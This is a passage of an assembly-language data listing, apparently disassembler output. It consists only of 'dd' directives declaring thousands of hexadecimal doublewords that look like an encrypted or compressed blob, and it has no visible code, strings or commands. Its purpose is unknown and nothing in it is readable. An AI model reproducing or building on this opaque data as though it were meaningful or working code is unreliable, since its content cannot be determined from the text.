5D7F9259h, 0E50E0AD3h dd 8CBC51F2h, 325867D9h, 4289E800h, 0E428CC5Bh, 1F8C09CDh dd 388162F6h, 496B0DC2h, 5CC84070h, 70A499E2h, 885344h dd 1219FC9Dh, 3B498EA6h, 0DFDCC407h, 78CCD37Eh, 2664190h dd 42307BF8h, 0C4921149h, 0BC688897h, 0A0496A80h, 7A32AB05h dd 5F30109Ah, 73EA2150h, 91AA006Dh, 0B86249C3h, 7639AC2Ah dd 3E01C0E4h, 7C93932Bh, 0AD6C0058h, 4E091C56h, 0D6E0F701h dd 0FED33F9Bh, 50CB5020h, 0F833C051h, 508C4870h, 9310A848h dd 0CEED0E81h, 0F5189858h, 860C248h, 98832F13h, 41D4AEB8h dd 0B216C0E1h, 283F2C24h, 61AC52EEh, 2A1F20E2h, 0FF30830Ch dd 72B5FAE8h, 0F0047528h, 44DA59BAh, 8804438h, 0CD5F5A8Ah dd 8E0026B1h, 0D1573D06h, 834685h, 8FC3B2DAh, 0D61EF3D0h dd 885EB600h, 302B0B9Ah, 1C90303h, 0DFD10514h, 7231BBC0h dd 0CC4B4400h, 0C7AF5A7Fh, 124372C4h, 3B6FA80h, 9815F1A8h dd 0FCFDA088h, 0B4CBE700h, 32F6149Ah, 0F54B0603h, 28D39DCFh dd 0B7710500h, 0B66C4F5Eh, 540119F9h, 837008B9h, 5ECF1321h dd 0B534F8D0h, 88903E1h, 58504091h, 0F10098CEh, 432FE90Ch dd 628C45Bh, 51149925h, 0D10340FEh, 0A7AE42FAh, 0EAD01664h dd 386518F3h, 6B01C0B6h, 4C82724Ah, 604032F5h, 3F78B105h dd 0F2013640h, 0D09E7533h, 0E688DC1Ah, 74D228C1h, 5087063Ch dd 165805D7h, 0F500911Eh, 0B4BC962Ah, 33E57539h, 0E408419Ch dd 52F02100h, 51DE5596h, 1FF7A112h, 30606AF0h, 98702306h dd 29024691h, 1EA17E47h, 5A4E0CEh, 244000DBh, 698C04F0h dd 0BD00E280h, 8E3164DAh, 7FA393h, 675177F7h, 0CCE74DF3h dd 0C40753F4h, 357E202Fh, 0B777D2C0h, 9ACA1D8Fh, 0F53EC7ABh dd 166B707Dh, 0B000295Dh, 6F0D7719h, 0C0FC42BCh, 3391D130h dd 0C83F59FFh, 0DC3E8CEFh dd 0EA6569D0h, 9D1E869h, 57ECD26Ch, 0F45D9000h, 0C1EAF1Eh dd 0E09F90FFh, 5ACA1440h, 30CC2767h, 419E6C0h, 340175F1h dd 24D25869h, 4080A387h, 317F688h, 6E1C1821h, 2F4063F9h dd 0B761FC5Eh, 0B0F01E0h, 98FDF646h, 0A838EBD2h, 0FC0A8051h dd 0AD786332h, 7B761079h, 0F1D200A3h, 0B93991A8h, 0C8DB6F30h dd 0DD9B809Dh, 932F47D6h, 0FD4D9807h, 0D180B4F6h, 3BD478D7h dd 903F3095h, 663E45CCh, 0CE448800h, 0DCA89CA5h, 61639h dd 3DF6227Ch, 3EF88A20h, 218010D8h, 0EA5648B0h, 3E1D17C0h dd 3218E01Dh, 721619h, 435C684Fh, 835263ECh, 0F6F24007h dd 711090BFh, 2CBD5621h, 30D3476Bh, 0B26DB010h, 0F14C4B00h dd 6F5740CFh, 0D2993E01h, 0C2C7C503h, 49BEB7CBh, 1BAE5A00h dd 6D51D150h, 6B7B314Ah, 60AF9A38h, 2330F9B6h, 0D43D288Fh dd 628039ECh, 7AC369E1h, 0F0FEEC63h, 0E3871B00h, 6F010CB7h dd 0F2F7003Eh, 0EED2EFD5h, 787EC427h, 5CAF1F00h, 0C7DD7984h dd 0D96C3358h, 467A80E9h, 1D28C560h, 0E44B10F6h, 0ECE806BCh dd 0B17AE3CBh, 195CB830h, 447E7322h, 0A93B2074h, 1821BC60h dd 5159ABCBh, 0BD7B1D5Ch, 80A68135h, 50491256h, 0FD395094h dd 7C8E620Eh, 0BD722086h, 60E5704Fh, 7668E1F7h, 0DE580E46h dd 8F9500CDh, 49886C3Eh, 6820071h, 35BA1E4Dh, 1B1E0E47h dd 15005CF5h, 7B74CC32h, 3AF40164h, 0E2FA85EEh, 0FF5CCCE5h dd 27A1B1Eh, 838ECC0Fh, 788D1D5Ah, 0F6E71420h, 5B0018A7h dd 4DDC2A0Ch, 6200B9C5h, 0E86010D2h, 0C051B2h, 923F8B86h dd 79DF8864h, 80D2200h, 0DBFED185h, 5F7A009Ch, 139D6214h dd 14AD1AFCh, 86818C18h, 0FD99DEDDh, 6FC7A501h, 0FC5E5A8Bh dd 0E7066DE1h, 66114299h, 3060031h, 29BDDE30h, 0B7F6A872h dd 3227731Eh, 4B615F00h, 397FC440h, 1580972Eh, 0D1BFBA20h dd 8D309F0Eh, 0F828E892h, 61AE74D6h, 0DF421088h, 8900CB32h dd 14DCEF67h, 0EEFB40A2h, 64A1BE3h, 0ED88089h, 6B0336B8h dd 1AA79297h, 0D8180084h, 85E0693Ah, 5A02480Eh, 9D3D8B61h dd 0CCACA04Ch, 7FB80Fh, 28801934h, 48BDD055h, 0B9C7304h dd 2EC08609h, 0B8D7002h, 0C0634EB3h, 0A765007Dh, 749ACEh dd 0A595781Bh, 0A19D1EACh, 459FC60h, 2CAEF5Eh, 1D294165h dd 49F470Eh, 283521D8h, 1808A76Eh, 20162F2Ah, 0BB006F61h dd 59D75743h, 66155Bh, 0B1ED9969h, 0B29C2AFDh, 9947333Dh dd 1D29A470h, 17448F08h, 7CB34408h, 54D111F5h, 48015417h dd 0A2BE42C4h, 20209524h, 3081B56Fh, 0EB441F08h, 0AE5A4069h dd 4CE26000h, 2641C24Eh, 378F001Bh, 98C5FB0Ch, 62FEDA03h dd 88272300h, 0CAE554DBh, 28970082h, 71CE86A3h, 5700BC8Ch dd 81EAB747h, 27D239h, 1F6E420Ah, 0BD461B53h, 660014B8h dd 9FA969DBh, 0BA39CBh, 0A484A68Bh, 0D7120B4Ch, 0A8AF5700h dd 3DFCF7Eh, 662603C7h, 76A7EB2Fh, 0FC9A6C91h, 1C3BF8DDh dd 582100D0h, 0C9228311h, 61AF008Fh, 0B7F68D47h, 1F013AC2h dd 0FD17A080h, 0C80AB43h, 7D50E598h, 0F002B648h, 0F1B9F2E4h dd 0A8ECA0FFh, 187949h, 0A4FE7DCEh, 0C4BDE64Ah, 621A500h dd 1995A244h, 388D7D28h, 7DA49BC5h, 5A70316Bh, 0C643CC16h dd 0F4C32240h, 0E620004Ah, 24532F10h, 9300E59Fh, 0AE150786h dd 0CB34163h, 0BD99B8E9h, 65208888h, 989B52E1h, 0B67855C0h dd 89003463h, 90F88285h, 740B6ED5h, 49AC03C2h, 0DED05C8Ah dd 0C8928800h, 98C9CD59h, 6F9307F5h, 0A3B9A91Ah, 3CF8A0D9h dd 613D267Ah, 3C680F7h, 8CD08137h, 29C700B3h, 85C54B01h dd 1C07C88Bh, 162BF021h, 0C8AF6B73h, 0A47A9Fh, 276EDF5h dd 0B7F72FF8h, 28D85400h, 1D0C9DE5h, 0F5190078h, 0ACDEFB1Bh dd 0AD0080F7h, 441ABB8Eh, 246A851h, 990237B7h, 0A1604336h dd 0A7006B77h, 878C39A4h, 9A5FC1h, 9CC2F40Fh, 0BA7F53D8h dd 490E1C00h, 0EE256338h, 0E29000A6h, 4222068Ah, 5004537h dd 0E3B7D723h, 19D0FA5h, 249AAC15h, 0DCF3D948h, 90A1FCA4h dd 6A54FCC5h, 4E28C81Dh, 6382AE00h, 97FF83h, 0A51F20DCh dd 8F26BDBh, 4866803h, 0A733E5CAh, 0E06177E2h, 13AAE34h dd 0A54FC623h, 0F8FECF34h, 9800011Eh, 0A1B59E4Bh, 1D63B467h dd 0CB508EF8h, 0D0800D55h, 0E9FBD5A5h, 1C982EF0h, 99CA1C04h dd 0DF80F684h, 7008B029h, 0BBF40E7Bh, 742F2BDFh, 83CD1820h dd 8F0188FBh, 6F3B41DBh, 0C3D4555Eh, 6B5700D0h, 0BFC0ECCEh dd 42093CF3h, 83BC7E3Bh, 0C0EB9BD9h, 0EEA9F6h, 93EDF764h dd 828E6B56h, 0CFDFBD03h, 0C860D623h, 314F639h, 494CF90Ah dd 81C84D94h, 0D008B63h, 8C3DAEDAh, 703E24E0h, 0B4480069h dd 13D59829h, 640096ABh, 7D049BAFh, 0F756DBh, 0F6916BADh dd 61C96A92h, 4DE21500h, 373E8E1Fh, 0EBFA0713h, 1F73EFF2h dd 0A6A980A2h, 0A78698E0h, 0BB50E800h, 0AC38C19Eh, 0F5760047h dd 0E74948C2h, 490A596h, 17C44500h, 9505EA1Dh, 7A860306h dd 59DC67D7h, 4683BE00h, 9AA3A933h, 96D00029h, 0DFCD6C20h dd 6F036B41h, 338A6257h, 54CB90C0h, 0C4312402h, 6B970404h dd 0D4132D23h, 0A4ECA81Ah, 0FFFEE0h, 16577E38h, 0B6DD2E85h dd 1C298809h, 36FC0055h, 47DF1Eh, 0BDB84995h, 0BB90C2ADh dd 10E24Ch, 0FFC596B4h, 6E1003h, 0CF769177h, 2E0CBD7Ah dd 993F530Bh, 881B06C1h, 7E4703F0h, 0CED95889h, 0E88F4000h dd 71A22DDDh, 470F00B5h, 0C945906Eh, 0BF002E7Eh, 22B4F870h dd 139F1D79h, 5BDD4Bh, 142FC154h, 7000EAAFh, 7E4EBFABh dd 1D751DCh, 0B8894BFEh, 0E807A032h, 1F0016DAh, 4C977BA6h dd 9003B0D6h, 0E87800D8h, 2B62EC59h, 0CF004046h, 0ACA0B22Fh dd 0E2A52EC2h, 70680057h, 8A5D90C6h, 0A00B8F4h, 22A87FCFh dd 3C1DCDD2h, 42007261h, 19093B96h, 4C1C59B8h, 8600F0DAh dd 80BE80Fh, 0C4C95C8Fh, 0FE116400h, 0CC3DBCCAh, 1DAB1C3Ch dd 0AC00898h, 1284AC2Ch, 0EA205C9Ah, 0B2948300h, 8975A499h dd 3F0FFD7Ch, 20B347C1h, 1898E7E2h, 1E1900E3h, 13CC43F1h dd 0C500DDF3h, 310304EAh, 3F927Fh, 590C96C6h, 0FCDAA464h dd 8A32D600h, 8E05AD13h, 8702000Eh, 0EEAEFE69h, 5BF01499h dd 95DB4E00h, 7BC86B1Ah, 4AA7006Ah, 0B6D7A5E7h, 0A2B0592Dh dd 9A89A800h, 35B43BA4h, 0F0AE03C7h, 0DE113EFAh, 4F1D14A0h dd 0DF340901h, 18DC79DBh, 0ED93C0F6h, 0E801004Ch, 462A5C92h dd 167D25FCh, 9B006AFEh, 0CED8833Eh, 0ED1D454h, 0E8354E67h dd 6B24A8E3h, 1CD78BE8h, 930A9216h, 0BA976700h, 98B6E716h dd 1B0D1CA6h, 646E43h, 0A0CBCC3Fh, 2D4CAF32h, 23920033h dd 80F9CF60h, 0DD2F00E7h, 8518064Eh, 0E9005977h, 0C9F6ED6h dd 0E0B210Fh, 6BB88824h, 0DDB56320h, 0F300AE35h, 0B3924211h dd 12F81AEFh, 1CD4BB6h, 0B2B72640h, 51D4F45Ah, 1434B500h dd 579D7C2Ah, 47D816BFh, 718804E0h, 0CBE090D1h, 650043F5h dd 0A14E56C7h, 16AB508h, 0A30C074Dh, 0D4587342h, 20F3B913h dd 7B1631D0h, 8020DF62h, 7BC9274h, 5331B71h, 0FBB27151h dd 0B773FC20h, 0B855D52Ch, 0C459D400h, 0D6761Dh, 2F5E5B4h dd 63BAF270h, 4CD21000h, 141E86C2h, 42B18C6h, 5570A2E3h dd 96609200h, 3310E7F8h, 7AA70077h, 0AC268AB4h, 5E00E8BFh dd 5EE9D3Fh, 9B0C03h, 1B1FAAABh, 0B5573364h, 8A1848h, 0A94CAFDBh dd 9D6E95h dd 0A3DFEA9Bh, 7884481Ah, 7DEDF200h, 5EA1910Ch, 0B82600D9h dd 4F7B32A2h, 0E4A08964h, 27009FB3h, 8C1A4605h, 0F287739Eh dd 5D52017Bh, 3A339BFFh, 207CC8AAh, 0C81C0324h, 809F8900h dd 3DD7ADEBh, 590F36A3h, 0D9A1D81Fh, 712CC8B1h, 0FBC360E8h dd 0ECA27505h, 908206FDh, 79CA07Ch, 14E15Ah, 0CAAC0F89h dd 263995FAh, 8812E00Bh, 0A7C00324h, 51BE9D9h, 41B070h dd 70172511h, 0D1CEE11Eh, 0FE07E403h, 0D0F7DCABh, 3F9E1468h dd 59004CF6h, 9DCF9A92h, 0B3F4905Ch, 83F3F400h, 0E3445382h dd 67E900D9h, 49365826h, 0E51743CAh, 6E00229Ah, 0F91DA4A0h dd 0CF291625h, 0CFC44D0h, 2950083h, 0D2C97Bh, 184AF3B7h dd 0BBCB08FFh, 464CDDE0h, 0EF0D00C0h, 0DE0BC1AFh, 4EFE01ADh dd 4B2C6EE7h, 913FD8B1h, 40297E00h, 79E1F2B5h, 0FBC8015Dh dd 20E9C2B2h, 6275C976h, 0CCCF02DCh, 0C081CA0Ah, 26C3F38h dd 180DDE2Ah, 8CC0F3ADh, 7200E60Bh, 3F99EDABh, 0E184A4h dd 578BC9B5h, 0F2EEB730h, 14AA100h, 0D246E756h, 382E0282h dd 0B8D9348Bh, 921408C0h, 0E97D7007h, 0F530DF99h, 26D1A4Dh dd 16A0CC50h, 0A8807A4Ah, 1165C863h, 998C1D07h, 95B040B1h dd 1E755B8Ah, 68C523ECh, 80E25885h, 525F1700h, 0DE2D47E6h dd 0A4902CE6h, 78EC7600h, 42C6A9CCh, 829B0030h, 0F6D24497h dd 0E42E3573h, 0C5006CB2h, 1D0C2F4Dh, 724F1709h, 0A1F8009Ch dd 0E907D6B5h, 4B910A38h, 16FAB407h, 0B61E0310h, 0E27A0020h dd 924C4245h, 58170CF6h, 1C1EA724h, 0CFD8A000h, 48145E15h dd 0F6002C7Dh, 4D38AE6Eh, 6B003C19h, 4735A099h, 39757E6Ah dd 2E0915E9h, 0FF8E8E93h, 41D40562h, 7CEEB4C8h, 0A4546624h dd 81BBFB00h, 0C9FD4069h, 0EC802A58h, 2D9E0187h, 33360601h dd 0A63548Dh, 50AC1BC0h, 780883Dh, 855321FCh, 0EE4572C3h dd 0EDD74E3h, 0CE40A5F8h, 2AE89203h, 0C9FC3B00h, 0F626BF25h dd 0E6730065h, 33C19F32h, 374E40C4h, 6B092CA8h, 4027FCh dd 1517A3DDh, 0EC002CE4h, 0A79AC7D3h, 5CC90668h, 2930D521h dd 2CAE8204h, 0E60003F0h, 45DA944Ch, 3D4FFE02h, 603CDBC8h dd 0BAA792h, 7CAE5136h, 6675F4D1h, 1617EF0Eh, 5359207Dh dd 4E34A0h, 6150AD8h, 0B82EAF24h, 75714500h, 6754A531h dd 6D890D6h, 1D84B7A1h, 0A9031194h, 0C99650E2h, 0A59DA890h dd 0F4C10083h, 3202302Dh, 250ED26Fh, 0EF074035h, 0F0B964C2h dd 0E2B00E0h, 0E0516772h, 91F9DBA0h, 0D20FF5E2h, 0C150A0BFh dd 5A03E390h, 0BCADCh, 762EF617h, 0C909D9C4h, 580AD004h dd 28802D29h, 3056CA7h, 0EFA6E679h, 9F8DA47h, 5A00BB74h dd 0AC228A6Fh, 0F7F4C8h, 0E2EEFA44h, 31A93EF0h, 4CB86101h dd 74F98FC9h, 5C1FC8h, 2A797F0Dh, 6148F842h, 0D6E487A0h dd 94CDE007h, 0DE901F50h, 124BC88Ah, 0E3E93B6h, 5AE0A37Bh dd 0AF5C1D1Bh, 0DEA87409h, 0B000F7F6h, 9C440951h, 30052ECh dd 0D5F7A1A5h, 0C6665h, 337094BBh, 308E24CEh, 8CB870Eh dd 93A3A09Bh, 95E696h, 6173F5AFh, 3DEC6B86h, 0FAA58909h dd 79CC8001h, 0B8BDC8h, 0C6860239h, 0C058CEF2h, 260D4500h dd 0BA6717F9h, 0B0D30476h, 8007D225h, 0A57D9C18h, 0D4F5ED07h dd 3C00C910h, 3B7E0842h, 5504BF7Ah, 0C14F54E4h, 0F8063B44h dd 931D1287h, 1B40F7D1h, 857F1D99h, 807601DEh, 0EB4B844h dd 3A420EBh, 4E39D001h, 82A80BCDh, 295830h, 0B7A27EBBh dd 7848618Ch, 0D50139F8h, 28681956h, 73C54AAFh, 1DBF6464h dd 9F53C4BCh, 3AB40031h, 502B4F65h, 1B089407h, 5A3009D6h dd 0E85155h, 0E6C4C099h, 0FA89E9D3h, 0CBB8D00Fh, 4752C0D6h dd 4DEBBDA9h, 0DD263CC2h, 3A4C849Ch, 6204F00Bh, 95671100h dd 6D997122h, 0EBDC005Ch, 613B1F04h, 500063A9h, 9E55237Ch dd 0B08FB9DFh, 35A100D4h, 29F119A0h, 9AC068h, 3C6E651Ch dd 20A1081h, 0C7C0A96Bh, 7167012Bh, 24AB82E4h, 42C68C8h dd 0EE6BBB9Fh, 3274D080h, 83550F06h, 28C26805h, 0F0832743h dd 4E0E871h, 38DC1C9Fh, 20DC1553h, 7CF6B850h, 21EA181Ah dd 0A2A06156h, 0C0B31128h, 842C5Ch, 4D90FC32h, 5426F4h dd 9C8382ECh, 5059AC44h, 0CF76AEF0h, 7BE5A400h, 0F25C8EB5h dd 0F34F3B49h, 29BEF806h, 1501A081h, 0DC594C0Dh, 0B5C43BE9h dd 0ADB000F1h, 0B7F73EE2h, 0EAF4719Dh, 2CCD3100h, 356F03FEh dd 0B8C7E66Dh, 0DA3700B4h, 0BEDD9873h, 2A007AC8h, 0F7A2508Eh dd 0CE8D1DD2h, 0AAA07E11h, 406381D5h, 0E1F50C00h, 73348489h dd 0F242042Bh, 0F10565B9h, 0B20EDF0h, 0C0D37E07h, 344480A9h dd 200E1B3h, 550FFF98h, 5A4E335Dh, 72A83Dh, 0CED643FDh dd 30AF6D0Ch, 0AE78D366h, 0E4185B6Fh, 0A3703AB5h, 0CAE14027h dd 687C48h, 509624DBh, 166C64h, 6B1FD4D8h, 95D1B7Eh, 4ED65416h dd 0BF213040h, 76E95135h, 0CE2D0737h, 505A7739h, 87502919h dd 113A9000h, 0B78BDD73h, 25FC0328h, 0EB7C55B5h, 0C30252F8h dd 0C48CBF00h, 68D55C8Ah, 223805DBh, 8001E2CCh, 7554F7A3h dd 0A6202707h, 0FD805A7Ch, 3910F6B7h, 9C0074ADh, 7244022h dd 0AA00DDDEh, 0DE0F891h, 1CE2703h, 8CC2C1BFh, 20BA7935h dd 5C00EA1Ch, 0BCF80B23h, 0EE5144h, 8BCB7A1Dh, 0C6E49D7Ch dd 36A37F00h, 0D0564ACDh, 0EC4B02FDh, 0EBD77137h, 0AE003C78h dd 9B914744h, 5C02E8DDh, 0B00E3CE6h, 9220C70Fh, 0DCC012F7h dd 5758A200h, 0B223456Dh, 3A8B02A4h, 0C5F13D63h, 4C14C878h dd 87BC888Eh, 6007872h, 0E86BC8D4h, 0B65002Eh, 61E2F764h dd 9600D79Ch, 0BB819231h, 50EADC13h, 0B0CFFC03h, 0C4EF3ED8h dd 7B508A00h, 972B9B4Eh, 2969FF03h, 0F02F0D65h, 0FC0C1B3h dd 459F308Fh, 9B404F8Fh, 63DD43FCh, 1A95D800h, 0AD8064EBh dd 7EAB0028h, 154AE6CEh, 0DB762986h, 0B5309400h, 20A46DB4h dd 135970BBh, 0CF9BA0h, 0EC223B1Dh, 1C001397h, 31E4ADC5h dd 5D77256h, 3F9F9E88h, 4538C1D9h, 9190F016h, 4802765Eh dd 50EE35CDh, 0B5A800CCh, 73C88D19h, 0AB242F79h, 8E8080DAh dd 8B0F2103h, 2E173E2Ch, 7D989382h, 0EC60F350h, 567A1422h dd 9C647607h, 4232F00Dh, 0FB494041h, 4C11056Eh, 907C4060h dd 687026ACh, 6473B201h, 0EDF7C3D3h, 1CCD6E4h, 10113E98h dd 349B6035h, 0D806184Ch, 494A7D48h, 0BA477C10h, 805E7860h dd 95013EE1h, 0DD758B84h, 0AC21AB35h, 0DEC9F8h, 0BC3FF90Dh dd 109B2642h, 1BA86E00h, 1FB551C6h, 0B7DC00A6h, 30BEF6A0h dd 4A7B4B52h, 314CFA05h, 0C083F895h, 7189A1B3h, 0FC8BB7C8h dd 0CFDF0027h, 1D19FF9Ah, 0F0906661h, 78C32200h, 0CE40728Fh dd 0B7451C10h, 0C56E40D0h, 0DECAAC99h, 0FD00E273h, 0F850FB4Dh dd 0A44F4E8h, 73AD63F7h, 83B88BC8h, 6FFB2460h, 0BF8B749h dd 4260434Ch, 8B9F60D0h, 83BB072Eh, 0B084AD6Ch, 9346E5B7h dd 94BCD500h, 0C64417C5h, 66980030h, 63AE5039h, 2609AF4Ah dd 821032B8h, 22793740h, 4F007556h, 9B3B76h, 6DFB6F60h dd 0C4B5345Dh, 424F902h, 20727368h, 6DF49F42h, 0A005570h dd 5C5E94EEh, 3D348B53h, 0B91E8F77h, 0BB6D44D8h, 0F8F4C031h dd 1500F3ECh, 0C6DE4A27h, 0B0BEE2h, 6017C85h, 0BB8ECFCBh dd 0AEDC7B3Fh, 9903620Fh, 0E02292A8h, 7E7C3Bh, 368D736Bh dd 0CC29EEBAh, 3A3EA176h, 0C6620CD8h, 0FAA53h, 28A9A754h dd 0E06CAE5Eh dd 0B2B9B813h, 9C2A4000h, 324F1E2h, 299106FCh, 0CBF13A5Dh dd 0A7E0D6BCh, 750389BFh, 0E498A20h, 6E5FA090h, 50160034h dd 0E536FAABh, 0DD16078Bh, 1C0920DBh, 7040830Bh, 2FE2DAA1h dd 0E1EE9460h, 45E288B0h, 6BE7A400h, 0D99D4930h, 0E48302FDh dd 2E7E9A32h, 1119E880h, 0ED03953Dh, 38CBD974h, 6001A243h dd 0ABF9A30h, 0FFF79387h, 450A04B7h, 8E1CC634h, 30B9125Ch dd 443010C7h, 0ABB61085h, 0B29E00C8h, 7FB37208h, 39912BBh dd 465CC080h, 64001A23h, 0F3D93AD6h, 2C237B0h, 731718Bh dd 0D88134FDh, 0DD482683h, 0B0F020DFh, 24424700h, 2DCA74EFh dd 0B1AF0094h, 6890578Ah, 0FB00B8A0h, 146F218Ch, 246C2B39h dd 34C444Ch, 40BDFFB6h, 3E6D2098h, 0DA619A00h, 0EEB3F467h dd 26AD04F6h, 80120557h, 0DB9297A9h, 0A90080F4h, 6D240BBEh dd 7F499C79h, 72CF1CCDh, 90AAD28Ch, 0B63ED1A0h, 0A01423Fh dd 0DC961833h, 7C219900h, 1BFD20h, 0F55B32B9h, 0D7E42BC2h dd 0A8018A5Eh, 5EB32839h, 0FE051C4h, 79367A52h, 5935A020h dd 0A700C790h, 0EBFD59Ch, 8A7D7Eh, 0A3A99F34h, 4ECF2BA5h dd 1FD66600h, 5880F704h, 82FA2E3Ch, 0AF3302DCh, 0CF1DDE7h dd 6752D81Fh, 62ED610Fh, 0E3995A75h, 315591D8h, 3B055830h dd 0C09EA8D1h, 0EFB6092Ah, 0F42EBCA0h, 0BF838E8h, 0C57B7400h dd 9A2552F0h, 0AD440087h, 0A01FDFF2h, 2800FC59h, 0FD2FB612h dd 79C52C6h, 98E1CF82h, 0EEC02E24h, 6D4A250Fh, 645A9E00h dd 4E74E5DAh, 58BFCE3h, 0CC9B7B87h, 0C3908055h, 95F0650Fh dd 350A3D00h, 6F265AE7h, 5FA00B9h, 0D24821B1h, 0CA00A787h dd 285C4156h, 26F2FA9h, 0C2F2E515h, 0A740C868h, 8409B308h dd 0AFA214h, 0C5ECAF2h, 401000E1h, 0D470B15Fh, 33007BF6h dd 0C7BDB527h, 1908B16h, 29E4CD7Eh, 62F915BCh, 0FD03F48h dd 8520A145h, 0F0EED371h, 0B4007A98h, 0BF8952EEh, 47D9A64h dd 4741F8ACh, 0AD60A051h, 3B449B00h, 1C7563F0h, 59EC097Ah dd 18890C2Ch, 23DC1780h, 0F925BF0Ah, 20DC8BE9h, 2C5A28BCh dd 0A5C50527h, 0DECE9Dh, 0E9EC86ECh, 8E003E26h, 24B12E52h dd 2924A5Ch, 0DB3414A9h, 0B07884C1h, 594C2909h, 6AF0A285h dd 964440FBh, 0EBA0028Dh, 3A9CCD0Ah, 45C21082h, 353E1C80h dd 0C990B53Bh, 365884E9h, 9C2081C1h, 888861Eh, 121909D6h dd 29802E0Ah, 8A50D3CFh, 8325A63Bh, 0B86ED49Ah, 860AB87Ah dd 0AE7E0B1Eh, 99008378h, 7F2960BCh, 63AA3Fh, 853D398Dh dd 5233413h, 8CB67A08h, 380C0096h, 0C3D19BB9h, 1478D313h dd 0C0479C80h, 8FD0173h, 0BC1218BEh, 0AECD0A6h, 979CF815h dd 90982170h, 0D9D403CDh, 0F0661584h, 85B6F0h, 0BEA6D7EDh dd 0BD2946E4h, 6B30B200h, 0F0F49D08h, 0AFD400B9h, 0AA982A8Ch dd 1A0F11EDh, 402D0302h, 0CCF1751h, 0C32B0F04h, 405E2F9Eh dd 16876A5Fh, 0A1076BADh, 0EF61FDA4h, 132D43C0h, 40190003h dd 4FE5FF49h, 84005DDAh, 0E05436A6h, 3D68DEE2h, 0FE8394EAh dd 0A2530D85h, 1DDB53DFh, 803042h, 0D83B9B89h, 199AF1C3h dd 8F9AE5Bh, 0EE218067h, 281B3B4Ch, 0E7623BE0h, 8CB83000h dd 4069BE44h, 0FAD67912h, 0BFAE5840h, 2889E56Dh, 0CCDC8EC6h dd 0CE213E09h, 946DD701h, 0F4C0530Ah, 0F324033Ah, 0B8E8EF60h dd 570088FDh, 29418510h, 3E3C5C34h, 4806B956h, 200E54D7h dd 293C089Ah, 0E2D5164Bh, 0FD00945Eh, 357F14F5h, 2D65078Dh dd 463BBD9Ch, 0FF7F315Ah, 3C983AE2h, 447B9504h, 508079ACh dd 0E2A585BCh, 29BF06FDh, 0E077B848h, 0B6158C00h, 2C85E31Dh dd 41D828E8h, 0E950217Ch, 0A26DCC80h, 868D5E89h, 0A72D44h dd 0E4216DA4h, 7282A981h, 0F4635Ch, 0BEB341D4h, 3D6ABCFDh dd 75000DD2h, 80651BF4h, 49009130h, 6C76B74Fh, 7AF3AFh dd 0FEA5B31Fh, 93C62281h, 2B557500h, 0D0F92D68h, 889B4CB7h dd 0F42C8800h, 73CF089Fh, 1DAD1900h, 0FEE0DEDDh, 687A3F63h dd 0B5959101h, 80802D41h, 0B7E8CC6Ch, 7CAD58Eh, 0C2F13F61h dd 4924F036h, 0C300DCB6h, 77B4C740h, 0CF660Bh, 5A235432h dd 0B0871E9Eh, 2998E400h, 771BD69Fh, 0B9310035h, 0E1169B25h dd 33002C5Fh, 5AF20A3Bh, 0C7902012h, 9691C00Ah, 63D214Fh dd 1AAC9F32h, 80C86B0Bh, 3DEDA538h, 4C317183h, 940F4A7Ch dd 0B44E5F24h, 167B3998h, 0DB7C1F74h, 0F12F5D00h, 24A601A8h dd 0FF7034Fh, 9E471623h, 775A2006h, 7EDA85D3h, 0BEEC05D2h dd 0C0C7B420h, 0DBB5404h, 38A70E18h, 3B89151h, 937DBAF8h dd 58B813B5h, 0D001E688h, 2C974708h, 898F8D34h, 0E0073DDBh dd 0BF11BC9Ch, 8974CA0Eh, 0A32F8FF6h, 0A31272DEh, 0EC210159h dd 4E567382h, 6CF7D8CAh, 8DC77E00h, 83779F0Fh, 89846017h dd 0C4286366h, 79939B00h, 7D0EC1CAh, 1B50EA29h, 388A276Bh dd 1E48023h, 0F6C574CEh, 884A18AAh, 7400C6C0h, 7763550Bh dd 10E1E41h, 0B517A07Ch, 405906A6h, 4DF224E4h, 9FC09E50h dd 2763FEF8h, 23318h, 0CDCFA049h, 0BC3D48E8h, 0BF314D7Eh dd 0AD2D389Bh, 0DBB9A880h, 0CDE11339h, 808A893Bh, 5BE2DD01h dd 0F214C274h, 0F4D2003Fh, 0D144ED16h, 0B5513E8Dh, 6932F0B6h dd 397EB4F8h, 0BE2A907Ch, 0A0210C46h, 89B208DBh, 10245442h dd 21848ACEh, 0BA11425Ch, 4DEF910Fh, 0E30C0450h, 0EA019746h dd 0D1398331h, 0FE92608Ah, 1724CC06h, 2111DDh, 477AFDEBh dd 39BED32Bh, 4A6B51C1h, 39803364h, 278C6E8Fh, 66780817h dd 0F0112825h, 0DC61944h, 10987014h, 28D4799Bh, 78082068h dd 9991227Eh, 3E47C300h, 4D887F50h, 4E890C02h, 0EF79FC55h dd 0CD1BE801h, 34B79016h, 330080BEh, 0AB4A6371h, 80E367Ah dd 0A338F077h, 0E901F50h, 2A0F1A38h, 0CAB19E0h, 9700C8E6h dd 8AD631FCh, 1FEE79B4h, 0FDA8FEh, 64BEAC3Ch, 1C00F811h dd 4FD6038Dh, 7F65A7h, 625D1F59h, 2E618422h, 11393Bh, 0A88EE067h dd 3DC9293h, 35867888h, 0A2C8CC9Ch, 0A3038301h, 0A95AA733h dd 0F7B89854h, 6FAF0E1Ch, 1020B9B3h, 5FBE4CCCh, 0AE7DA607h dd 0D5C76362h, 20B2C60h, 9F1601D1h, 0A8934F67h, 0FF1A709Ah dd 0C2764A00h, 5B19E656h, 100B269Fh, 2AAE0602h, 753848A7h dd 51A980DDh, 21062CF1h, 0F94700A4h, 0B0DF6A61h, 54006BF0h dd 0C78C983Eh, 19E6643h, 865EC5A0h, 24924D32h, 87009F0Ch dd 0ED05A7ABh, 76EE03h, 0AACD0866h, 9AD2CDAh, 1EAD34Ch dd 8DFC57D4h, 10919A62h, 0BFFD2612h, 0FF96DF00h, 12EEB547h dd 2090C7C3h, 0CF4F3C40h, 694B4503h, 0FE3A3Eh, 0F4943939h dd 0C89AA1BBh, 0A300BCF8h, 1E745153h, 0FA9C96D5h, 15830029h dd 0CB1442DCh, 3A0021AFh, 0BEAE7F46h, 1368D556h, 0AA524F6Dh dd 9F055000h, 13FB3D45h, 0B69965Dh, 0CF80F647h, 0AC51903Fh dd 582B7100h, 0CF6D5215h, 472E0022h, 0B42FEBB3h, 0D7007F25h dd 897DC0Ch, 7954117Ch, 1F280FDBh, 67006B84h, 73245C33h dd 103E087Ch, 7E708094h, 0FFEE8864h, 0F5C9007Ch, 4B6ECBB1h dd 0E764699h, 71754700h, 40E03DE8h, 0C0DE38B4h, 17C14D83h dd 43D0D7D6h, 